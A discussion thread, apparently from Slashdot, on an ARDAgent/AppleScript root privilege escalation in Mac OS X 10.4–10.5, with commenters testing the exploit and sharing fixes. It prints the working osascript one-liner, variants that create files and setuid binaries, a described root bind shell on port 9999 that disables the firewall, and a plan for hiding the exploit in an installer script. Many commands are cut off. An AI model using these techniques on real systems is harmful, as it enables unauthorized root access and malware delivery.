Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
I just SSHed to my laptop and succesfully tested the above command.
/System/Library/CoreServices/RemoteManagement/ARDAgent.app), but it also spit back this error:
I can't seem to get this to work. Not only does Applescript tell me that ARDAgent is not scriptable (when I tried to open it's scripting library:
ARDAgent got an error: "whoami" doesn't understand the do shell script message.
running the script on the commandline returns this:
spikedesktop:Library spike$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)
I'm running OSX 10.5.3 Intel.
...spike
Ewwwwww, coconut...
Actually... interesting.
I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.
I ssh'd into my box at home and running this was successful.
fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.
So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).
This is interesting.
...spike
Ewwwwww, coconut...
Never!
It does not matter if the service is enabled or not, osascript will execute the application for you.
It's not like we don't have a simple workaround:
sudo chmod 000
Perhaps you might consider evaluating the rest of the
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
My apologies. There was no article sourced in the posting and I couldn't recreate the exploit on any of the Macs in my house via SSH *or* with local physical access via Terminal.app. I kept getting:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
No matter whether I tried ssh from remote, or local console bash.
Tested on a MacBook Pro running 10.5.3, an iBook running 10.4.11 and a g5 PPC OS X Server running 10.4.11 (Server build).
So....YMMV....
JUMP JUMP JUMP JUMP JUMP JUMP JUMP JUMP IRRIGATE
I tried some variations, but I still think this bug is serious enoguh that Apple should do something ASAP!
/etc/whatever"
I tried substituting the "whoami" part for some other command, just like pudge did with "touch", and it worked...
I was thinking how someone could fool a user to execute these commands, but I didn't have success with other variantions.
A simple AppleScript like this won't work:
tell appplication "ARDAgent" to do shell script "touch
As stated by others, it won't work through ssh, but it wouldn't be wise to use ssh to attack a machine, anyways...
So, I think that the only way this will work is through a shell script. An easy trick:
1. Just create some stupid application that people would want to try and install and that looks unsuspicious;
2. Create an installation package, so it looks safe. In this package, use a script for "post-install work" that does whatever you want;
3. Put it up on the web or send through e-mail to your target and wait for them to execute the installer;
4. ???
5. Profit? Well, not necessarily, but...
Since the script will be quite well hidden in the installation package, the user will not suspect the nasty stuff going on in his/her system.
You can, for instance, edit sharing preferences, create a user, or just wreak havoc by deleting some essential system file. The sky is the limit...
Firstly, I want to say I'm impressed.
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
ls:
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "touch
dan@Geelong:~$ ls -lh
-rw-rw-rw- 1 root wheel 0B Jun 18 14:16
dan@Geelong:~$ osascript -e 'tell app "ARDAgent" to do shell script "rm
dan@Geelong:~$ ls -lh
ls:
osascript -e 'tell app "ARDAgent" to do shell script "cd
This will download, install, load, and start a plist that provides an interactive bash shell on port 9999, and disables the ipfw firewall (Which is not enabled by default). If you run the above, you can 'nc localhost 9999' and find yourself at a root shell.
To remove, run 'launchctl unload com.apple.bash' 'launchctl unload
It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script.
So yeah; anything can be downloaded, and anything can be done with it. Scary.
I tried to take out the "osascript -e" part (and the single quotes too), create an AppleScriptand save as a compiled application. It doesn't work.
/etc/test\"'"
/etc.
I just tried a more sophisticated trick:
tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"touch
end tell
This works! Double click the app and the file test will be created on
The only downside to this (for the attacker) is that a Terminal window opens and the user can see the commands. If you use the preflight script trick, the user will see nothing!
I got it to create a file and make it executable with setuid root.
Needless to say, I'm dismayed.
I call those "Should I do something stupid" dialogs.
Given that:
* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.
Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.
Here's the history of Apple's experiment with stupid security dialogs in Safari:
http://scarydevil.com/~peter/io/osx-security.html
http://scarydevil.com/~peter/io/apple.html
http://scarydevil.com/~peter/io/apple3.html
http://scarydevil.com/~peter/io/apple4.html
They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.
Microsoft's been in denial about the same thing since 1997.
http://scarydevil.com/~peter/io/airlines.html
Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
I'm going to burn some mod points and ask why this isn't possible if you SSH into an OS X box. It's fair to link to an explanation if I've missed something, and no, this is not typical sarcastic geek doubt, I'd genuinely like to know.
CAn'T CompreHend SARcaSm?
Why not just remove the setuid bit?
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
cd
sudo chmod 755 ARDAgent
-> osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
not_root
->
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog that it's impossible to prevent Apple's installer popping up even if you, the developer, only want to install things in ~/Library rather than /Library.
Thanks, Apple, for training your users these last 8 years to type their admin password at the drop of a hat.
"Wise men talk because they have something to say; fools, because they have to say something" - Plato